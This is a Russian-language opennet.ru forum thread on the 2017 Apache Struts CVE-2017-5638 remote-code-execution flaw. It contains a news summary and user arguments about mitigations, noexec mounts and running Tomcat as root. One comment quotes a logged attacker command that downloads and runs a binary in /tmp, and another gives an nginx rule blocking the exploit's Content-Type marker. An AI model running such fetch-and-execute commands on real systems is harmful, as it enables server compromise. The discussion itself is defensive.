forum.opennet.ru - "Волна взломов сайтов через неисправленную уязвимость в Apach..." (57)

форумы

правила/FAQ

поиск

регистрация

вход/выход

слежка

"Волна взломов сайтов через неисправленную уязвимость в Apach..."

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
Сообщение от opennews (??) on 09-Мрт-17, 11:47
Опубликовано (http://struts.apache.org/announce.html#a20170307) экстренное обновление web-фреймворка Apache Struts (2.3.32 и 2.5.10.1), применяемого для создания web-приложений на языке Java с использованием парадигмы Model-View-Controller. В новых выпусках устранена критическая 0-day уязвимость (https://cwiki.apache.org/confluence/display/WW/S2-045) (CVE-2017-5638 (https://security-tracker.debian.org/tracker/CVE-2017-5638)), которая уже несколько дней используется (http://blog.talosintelligence.com/2017/03/apache-0-day-explo...) злоумышленниками для получения контроля за сайтами, работающими под управлением Apache Struts. Уязвимость позволяет выполнить произвольный код на сервере, отправив запрос со специально оформленным содержимым HTTP-заголовка "Content-Type". Проблема проявляется в выпусках Struts с 2.3.5 по 2.3.31 и с 2.5.0 по 2.5.10, и вызвана ошибкой в коде Multipart parser, применяемом для разбора запросов, состоящих из нескольких частей (multipart/form-data). В случае, если заголовок Content-Type содержит некорректное значение, срабатывает исключение для отображения сообщения об ошибке, которое, если в тексте присутствует маска "multipart/form-data", также приводит к вызову обработчика Multipart parser и выполнению произвольного кода. Так как в открытом доступе опубликован готовый эксплоит (https://github.com/rapid7/metasploit-framework/issues/8064) и в сети уже зафиксирована автоматизированная вредоносная активность, эксплуатирующая данную уязвимость, всем пользователям Apache Struts рекомендуется в экстренном порядке выполнить обновление или блокировать работу компонента Jakarta Multipart parser. Обновления пакетов с libstruts уже выпущено для Debian (https://security-tracker.debian.org/tracker/CVE-2017-5638). В Ubuntu проблема остаётся неисправленной. В штатных репозиториях RHEL/Cent OS пакет Apache Struts не поставляется. В случае если web-приложение выполняется в контейнере Apache Tomcat, выполняемом (https://wiki.apache.org/tomcat/HowTo#How_to_run_Tomcat_witho...) с правами root, в результате атаки сразу может быть получен root-доступ к системе. Например, фиксируемые в логах попытки атак выполняют отключение пакетного фильтра и устанавливают бэкдор для удалённого управления системой или типовое вредоносное ПО: URL: http://blog.talosintelligence.com/2017/03/apache-0-day-explo... Новость: http://www.opennet.me/opennews/art.shtml?num=46167
Ответить \| Правка \| Cообщить модератору

Оглавление

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 11:47 , 09-Мрт-17, (1) +1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аанон, 11:49 , 09-Мрт-17, (3) +19

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 11:56 , 09-Мрт-17, (4) +8

Волна взломов сайтов через неисправленную уязвимость в Apach..., лютый жабист__, 05:43 , 10-Мрт-17, (37)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 12:11 , 09-Мрт-17, (5) +7

Волна взломов сайтов через неисправленную уязвимость в Apach..., Alex, 22:15 , 09-Мрт-17, (29) –7

Волна взломов сайтов через неисправленную уязвимость в Apach..., incker, 03:29 , 10-Мрт-17, (36)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Michael Shigorin, 12:13 , 09-Мрт-17, (6)
Волна взломов сайтов через неисправленную уязвимость в Apach..., iZEN, 13:26 , 09-Мрт-17, (12) +4

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 13:38 , 09-Мрт-17, (14) +2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:43 , 09-Мрт-17, (22) +13

Волна взломов сайтов через неисправленную уязвимость в Apach..., Sw00p aka Jerom, 16:13 , 09-Мрт-17, (24) +8
Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 23:25 , 09-Мрт-17, (31) –2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:08 , 10-Мрт-17, (53) +5

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 02:09 , 10-Мрт-17, (35) –2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:27 , 10-Мрт-17, (56) +2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 08:30 , 10-Мрт-17, (40) –4

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:02 , 10-Мрт-17, (52) +3

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:22 , 10-Мрт-17, (55) –3

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:39 , 10-Мрт-17, (57) +3

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 18:03 , 11-Мрт-17, (61) –2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 19:01 , 11-Мрт-17, (62) +1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Michael Shigorin, 12:18 , 10-Мрт-17, (48) +2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:21 , 10-Мрт-17, (54) +2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Michael Shigorin, 17:17 , 10-Мрт-17, (58) +1

Волна взломов сайтов через неисправленную уязвимость в Apach..., пох, 16:06 , 17-Мрт-17, (67)
Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 20:52 , 13-Сен-17, (71)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 14:17 , 09-Мрт-17, (16) +6
Волна взломов сайтов через неисправленную уязвимость в Apach..., Некулхацкер, 18:16 , 14-Мрт-17, (64)
Волна взломов сайтов через неисправленную уязвимость в Apach..., Некулхацкер, 18:46 , 16-Мрт-17, (66)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 15:03 , 09-Мрт-17, (17)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Анон2, 16:09 , 09-Мрт-17, (23)
Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 17:47 , 09-Мрт-17, (25)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Гостище, 18:22 , 09-Мрт-17, (26) –1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 22:30 , 09-Мрт-17, (30) +1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Геймер, 08:06 , 10-Мрт-17, (39)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 10:41 , 10-Мрт-17, (42)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Геймер, 11:00 , 10-Мрт-17, (43) –1
Волна взломов сайтов через неисправленную уязвимость в Apach..., J.L., 12:46 , 10-Мрт-17, (49)
Волна взломов сайтов через неисправленную уязвимость в Apach..., Michael Shigorin, 13:01 , 10-Мрт-17, (50)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 11:12 , 10-Мрт-17, (44) –1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аанон, 11:38 , 10-Мрт-17, (45) +2

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 11:47 , 10-Мрт-17, (46) –1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аанон, 12:08 , 10-Мрт-17, (47)

Волна взломов сайтов через неисправленную уязвимость в Apach..., iZEN, 23:03 , 10-Мрт-17, (59) –1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 23:25 , 09-Мрт-17, (32) –1

Волна взломов сайтов через неисправленную уязвимость в Apach..., tonys, 23:31 , 09-Мрт-17, (33)
Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 00:41 , 10-Мрт-17, (34) +2
Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 05:51 , 10-Мрт-17, (38) –1
Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 08:36 , 10-Мрт-17, (41)
Волна взломов сайтов через неисправленную уязвимость в Apach..., виндотролль, 14:02 , 10-Мрт-17, (51)
Волна взломов сайтов через неисправленную уязвимость в Apach..., пох, 16:12 , 17-Мрт-17, (68) –1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Аноним, 00:28 , 11-Мрт-17, (60)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Некулхацкер, 18:19 , 14-Мрт-17, (65)

Волна взломов сайтов через неисправленную уязвимость в Apach..., Некулхацкер, 18:11 , 14-Мрт-17, (63) –2

Волна взломов сайтов через неисправленную уязвимость в Apach..., пох, 16:17 , 17-Мрт-17, (69) –1

Волна взломов сайтов через неисправленную уязвимость в Apach..., Кэп, 16:02 , 19-Мрт-17, (70) –1

Сообщения по теме [Сортировка по времени | RSS]

1. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +1 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 11:47

Стратс уже сто лет в полусдохшем состоянии и никому не нужен.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

3. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +19 +/–

Сообщение от Аанон on 09-Мрт-17, 11:49

Никому, кроме всех тех, кому он нужен.

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

4. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +8 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 11:56

С учётом того, что сайты на Java+Struts очень любят делать банки и госучреждения (умолчим про gosuslugi.ru) последствия этой дыры могут быть даже серьёзнее, чем кажется.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

37. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от лютый жабист__ on 10-Мрт-17, 05:43

Если госуслуги на струтсе сделаны и можно было тихой сапой слить базу ПФР+ИНН+ФИО+ДР+все объекты налогообложения _в масштабах страны_, я категорически не понимаю кульхацкеров, которые слили возможность и запалили такую дыру на то, чтобы овнить какую-то никому ненужную шелупонь.
Про банки молчу, там ещё легче монетизировать дырку.

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

5. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +7 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 12:11

Если у вас томкат за нжинксом, можете быстро сделать:
if ($http_content_type ~ memberAccess) {
    return 403;
}

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

29. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –7 +/–

Сообщение от Alex (??) on 09-Мрт-17, 22:15

что за блин нжинкс, энжин-экс (engine x)

Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

36. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от incker on 10-Мрт-17, 03:29

x - икс так оно читается на русском
x - экс так оно читается на английском
Так что пофигу

Ответить | Правка | ^ к родителю #29 | Наверх | Cообщить модератору

6. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Michael Shigorin (ok) on 09-Мрт-17, 12:13

Интересно, успел ли кто эту беду сбэкпортировать в EOL'нутый 1.3.10, который по всем https://pkgs.org/download/struts ...

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

12. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +4 +/–

Сообщение от iZEN (ok) on 09-Мрт-17, 13:26

Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами линуксов, но не FreeBSD.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

14. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +2 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 13:38

> Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами
> линуксов, но не FreeBSD.
Что лишний раз подтверждает большую распространённость FreeBSD на серверах.

Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

22. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +13 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 15:43

> Что лишний раз подтверждает большую распространённость FreeBSD на серверах.
Вот и гордые надуватели щёчек набежали.
Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие замечательные штуки, как монтирование с nonexec?
https://www.freebsd.org/cgi/man.cgi?mount(8)
Так что

cd /tmp; wget .../syn13576;chmod 777 syn13576;./syn13576

можно делать хоть до посинения.
А еще, для апачей и прочих дыроколов есть такая вещь, как клетки. Это типа контейнера, только без той кучи дыр и оговорок, что "контейнеры вообще-то не для безопасности!".
Так что обтек… завидуйте молча.

Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

24. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +8 +/–

Сообщение от Sw00p aka Jerom on 09-Мрт-17, 16:13

В клетках практически всё под ro, а для нужд ПО рабочую директорию под nonexec,nosymfollow и тд, не говоря уже об урезанном мире самой клетки.

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

31. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –2 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 23:25

А в линуксе конечно же не монтирования с noexec. Пиши есчо, непафосный ты наш.

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

53. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +5 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 15:08

> А в линуксе конечно же не монтирования с noexec.
Судя по эксплойту, нет. Или как с тем же grsecurity, все есть, но никто не пользуется.

Ответить | Правка | ^ к родителю #31 | Наверх | Cообщить модератору

35. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –2 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 02:09

VNET уже перестал ядро ронять, м? Или всё по старинке - на алиасах костыляете?

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

56. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +2 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 15:27

> VNET уже перестал ядро ронять, м?
Если отвлечся от откровенного спрыгивания с темы, все равно остается вопрос:
и как там, в криокамере?
Кстати, вы бы поинтересовались, что такое VNET. А то "ядерная фича могла уронить ядро, фи!" звучит несколько фанатично. Микроядра только недавно обсуждались.

Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

40. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –4 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 08:30

Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но ещё и с nodev, и ro. Здорово, правда?!

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

52. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +3 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 15:02

> Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но
> ещё и с nodev, и ro. Здорово, правда?!
nodev? Зачем он нужен? Хотя чего это я, до лапчтатых ведь иногда как до жирафов.
ro для /tmp?
Верю!

Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

55. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –3 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 15:22

> nodev? Зачем он нужен?
Прелестно, вот такие вот "специалисты" бздю и лепят.

Ответить | Правка | ^ к родителю #52 | Наверх | Cообщить модератору

57. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +3 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 15:39

>> nodev? Зачем он нужен?
> Прелестно, вот такие вот "специалисты" бздю и лепят.
Вот такие как вы "специалисты" не знают, но имеют ценное мнение оюо всем на свете.
> Author: rodrigc <rodrigc@FreeBSD.org>
> Date:   Tue Nov 29 19:13:28 2005 +0000
> Document removal of nodev mount option.
> Requested by:   gleb
Но вы держитесь. За Ядро, Линуса и Родной Дистрибутив и все такое (иначе не объяснить, почему некоторые при отсутсвии представления о чем-то, упорно лезут это что-то критиковать).

Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

61. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –2 +/–

Сообщение от Аноним (??) on 11-Мрт-17, 18:03

Ну то есть зачем нужен nodev вы по прежнему не знаете ?

Ответить | Правка | ^ к родителю #57 | Наверх | Cообщить модератору

62. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +1 +/–

Сообщение от Аноним (??) on 11-Мрт-17, 19:01

> Ну то есть зачем нужен nodev вы по прежнему не знаете ?
Опять по себе судите? Разрешаю посмотреть в ман.
https://linux.die.net/man/8/mount
Заодно:
http://www.google.com/search?q=зачем+нужны+запятые
После этого, можете попытаться объяснить, зачем на бзд нужен nodev. И что там с ro /tmp.

Ответить | Правка | ^ к родителю #61 | Наверх | Cообщить модератору

48. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +2 +/–

Сообщение от Michael Shigorin (ok) on 10-Мрт-17, 12:18

> монтирование с nonexec?
Только не говорите мне, что такие очепятки врастают в пальцы тех, кто на самом деле применяет -o noexec.

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

54. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +2 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 15:21

>> монтирование с nonexec?
> Только не говорите мне, что такие очепятки врастают в пальцы тех, кто
> на самом деле применяет -o noexec.
Хорошо, не скажу. Еще не скажу ничего о fstab.
Потому как, если уж кому-то хочется докопаться, то причина всегда найдется.
На опеннете, как всегда, достаточно классического «почему без шапки» -- «почему не пингвин?!»
24й комментарий:
> Сообщение от Sw00p aka Jerom on 09-Мрт-17, 16:13
> а для нужд ПО рабочую директорию под nonexec,nosymfollow

Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

58. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +1 +/–

Сообщение от Michael Shigorin (ok) on 10-Мрт-17, 17:17

>>> монтирование с nonexec?
>> Только не говорите мне, что такие очепятки врастают в пальцы тех, кто
>> на самом деле применяет -o noexec.
> Хорошо, не скажу. Еще не скажу ничего о fstab.
Туда пишут или скрипты, или те, кто буковки умеет нажимать правильно.
> Потому как, если уж кому-то хочется докопаться, то причина всегда найдется.
Дружески предлагаю Вам начать с себя -- возможно, поймёте, что насмешку получили в ответ на попытку выпендриться. :)

Ответить | Правка | ^ к родителю #54 | Наверх | Cообщить модератору

67. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от пох on 17-Мрт-17, 16:06

> Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых,
> слышали о нормальных дефолтах
о нормальных они сроду не слышали - начиная от попыток автоматического сетапа в XXI веке создавать /tmp на физическом диске (или в виде zfs volume), и заканчивая ненужными  для tmp softupdates, если все же заставить его создавать md, но специальным ключом вручную не озаботиться (и да, там у нас ufs, потому что попытки сделать "чистую" memory-backed fs разбились о неосиляторство - оно даже есть, но ухитряется работать хуже ufs over md)
> и у них есть такие замечательные штуки, как монтирование с nonexec?
/tmp с noexec ? Поздравляю, ты сломал плагины mc, и, вероятно, не только их.
линукс, кстати (кроме того самого mc) noexec в /tmp пережил бы, но у него есть (отдельный) /var/tmp, где вполне себе создаются и исполняются в процессе нормальной работы файлы.
Начиная от пост и пре-инсталл скриптов в rpm. А, в недоделке по имени pkg до сих пор ничего подобного ниасилено? (угадайте, куда в результате пихают то, что нужно делать один раз при установке пакета?)

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

71. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Аноним (??) on 13-Сен-17, 20:52

> пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие
> замечательные штуки, как монтирование с nonexec?
Они и у лапчатых есть, о непафосный. А ты уверен что яве вообще есть какое-то дело до всего этого? Может ей достаточно лишь прав на чтение файла, она же код сама генерит а система вообще не в курсе что этот читаемый файл будет еще и исполняться потом.

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

16. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +6 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 14:17

Но ведь на жаве, это главное, разве нет?

Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

64. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Некулхацкер on 14-Мрт-17, 18:16

Они для случаев, когда среду разворачивали как попало. Не скажу, что это редкое явление.

Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

66. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Некулхацкер on 16-Мрт-17, 18:46

Оригинальный взгляд на проблему. Очень. Что помешает запустить под фрёй контейнер от рута? Есть какой специальный "дух здравого смысла"? Демон здравого смысла, если винрарно.

Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

17. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Аноним (??) on 09-Мрт-17, 15:03

Сбер напрягся.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

23. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Анон2 on 09-Мрт-17, 16:09

Сбер в пятницу чуть у матери 27к кому-то не перевел. Но в сбере всем как бы ложить.

Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

25. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Аноним (??) on 09-Мрт-17, 17:47

У Сбера блокчейн, не трогайте его.

Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

26. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от Гостище on 09-Мрт-17, 18:22

У кого-то в сбере блокчейн. В академических целях, не коммерческих.
У остальных в сбере низзя - а то посодють.

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

30. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +1 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 22:30

Java же безопасный язык, это не C! Как такое возможно?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

39. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Геймер on 10-Мрт-17, 08:06

Дыра во фреймворке, виновата Java. Логичный Вы наш!

Ответить | Правка | ^ к родителю #30 | Наверх | Cообщить модератору

42. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Аноним (??) on 10-Мрт-17, 10:41

А что, Oracle уже совсем Java от блобов избавил?

Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

43. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от Геймер on 10-Мрт-17, 11:00

А что, новость уже не читаем?

Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

49. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от J.L. on 10-Мрт-17, 12:46

> А что, Oracle уже совсем Java от блобов избавил?
у вас сильно не актуальные сведения http://stackoverflow.com/questions/25936712/what-is-the-diff...

Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

50. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Michael Shigorin (ok) on 10-Мрт-17, 13:01

> А что, Oracle уже совсем Java от блобов избавил?
Скорее от разработчиков...

Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

44. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 11:12

> Дыра во фреймворке, виновата Java. Логичный Вы наш!
Java - виртуальная машина. Следовательно дырка в Java, если можно исполнить код вне виртуальной машины.

Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

45. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +2 +/–

Сообщение от Аанон on 10-Мрт-17, 11:38

ШОК!!! Обнаружена критическая уязвимость в java.lang.Runtime. Существующий в нем метод exec позволяет выполнить любой код вне виртуальной машины.
https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime....-

Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

46. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 11:47

> ШОК!!! Обнаружена критическая уязвимость в java.lang.Runtime. Существующий в нем метод
> exec позволяет выполнить любой код вне виртуальной машины.
> https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime....-
Оно в отдельном потоке в java машине всё-равно выполняется.

Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

47. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Аанон on 10-Мрт-17, 12:08

Тогда и оригинальная уязвимость - это вовсе не уязвимость, т. к. "в отдельном потоке в java машине всё-равно выполняется".

Ответить | Правка | ^ к родителю #46 | Наверх | Cообщить модератору

59. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от iZEN (ok) on 10-Мрт-17, 23:03

>> Дыра во фреймворке, виновата Java. Логичный Вы наш!
> Java - виртуальная машина. Следовательно дырка в Java, если можно исполнить код
> вне виртуальной машины.
Это всё С++. На нём написали JVM.

Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

32. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от Аноним (??) on 09-Мрт-17, 23:25

> chmod 777 2020
...
> chmod 777 syn13576
Никогда не мог понять сакральный смысл трех семёрок.
Вот почему не 'chmod 111', 'chmod 555' или 'chmod 7777'?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

33. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от tonys (??) on 09-Мрт-17, 23:31

Потому что 7 это 1+2+4

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

34. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +2 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 00:41

Ну ты чего уж. Три семерки. А везде, по всему Союзу три семерки, понимаешь?

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

38. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от Аноним (??) on 10-Мрт-17, 05:51

Сакральный смысл – в портвейне "Три семёрки", он же "Три топора".
Видимо, в том, что три "7" набрать удобнее, чем, например, "755" или "700", а "555" не используют потому, что файл нередко приходится редактировать и запускать несколько раз. Вторая причина – если это сервер, который взламывают, то там нет смысла давать меньше прав для "group" и "other".

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

41. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Аноним (??) on 10-Мрт-17, 08:36

> Никогда не мог понять сакральный смысл трех семёрок.
Во имя Сатаны же, ну.

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

51. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от виндотролль (ok) on 10-Мрт-17, 14:02

иди потаскай окошки по экрану

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

68. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от пох on 17-Мрт-17, 16:12

> Никогда не мог понять сакральный смысл трех семёрок.
так проще, и оно работает - в отличие от твоих поделок
> Вот почему не 'chmod 111', 'chmod 555' или 'chmod 7777'?
первое ломает скритовые языки, второе мешает самому же туда записать не от рута, третье в случае скрипта вызовет весьма вероятные сообщения интерпретатора о попытке сделать суидный скрипт вместо исполнения, при том что оба осташихся бита нафиг не нужны

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

60. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Аноним (??) on 11-Мрт-17, 00:28

>В случае если web-приложение выполняется в контейнере Apache Tomcat, запускаемом с правами root, в результате атаки сразу может быть получен root-доступ к системе.
Веб-приложения с правами рута? Совсем поехавшие?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

65. "Волна взломов сайтов через неисправленную уязвимость в Apach..." +/–

Сообщение от Некулхацкер on 14-Мрт-17, 18:19

>>В случае если web-приложение выполняется в контейнере Apache Tomcat, запускаемом с правами root, в результате атаки сразу может быть получен root-доступ к системе.
> Веб-приложения с правами рута? Совсем поехавшие?
Ну ведь под рутом проще ))))

Ответить | Правка | ^ к родителю #60 | Наверх | Cообщить модератору

63. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –2 +/–

Сообщение от Некулхацкер on 14-Мрт-17, 18:11

Не очень понимаю, что может дать возможность выполнить некий код с правами запустившего контейнер. Чаще всего контейнер запускают от пользователя, для которого и командного интерпретатора нет. Если же контейнер запускают из под root-а -- ну такое ничем не лечится.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

69. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от пох on 17-Мрт-17, 16:17

> Не очень понимаю, что может дать возможность выполнить некий код с правами
> запустившего контейнер. Чаще всего контейнер запускают от пользователя,
которого зовут root.
> командного интерпретатора нет. Если же контейнер запускают из под root-а --
> ну такое ничем не лечится.
почитайте внимательно, через какую задницу предлагается запускать томкэт его разработчиками, чтобы было "не от рута". Ссылка на документацию - прямо в новости.
Не говоря уже о том, что на сервере, где работает томкэт, все ваши сенситивные данные, внезапно, доступны именно томэкту. А сам сервер по большому счету нахрен никому и не нужен.

Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

70. "Волна взломов сайтов через неисправленную уязвимость в Apach..." –1 +/–

Сообщение от Кэп on 19-Мрт-17, 16:02

Э, как-бы, Томкэт запустить не от рута нет никакой проблемы. Вообще. Тем более Гласфиш или ЖБосс. После этого любые подобные уловки, насколько я понимаю, не дадут ничего вообще.

Ответить | Правка | ^ к родителю #69 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

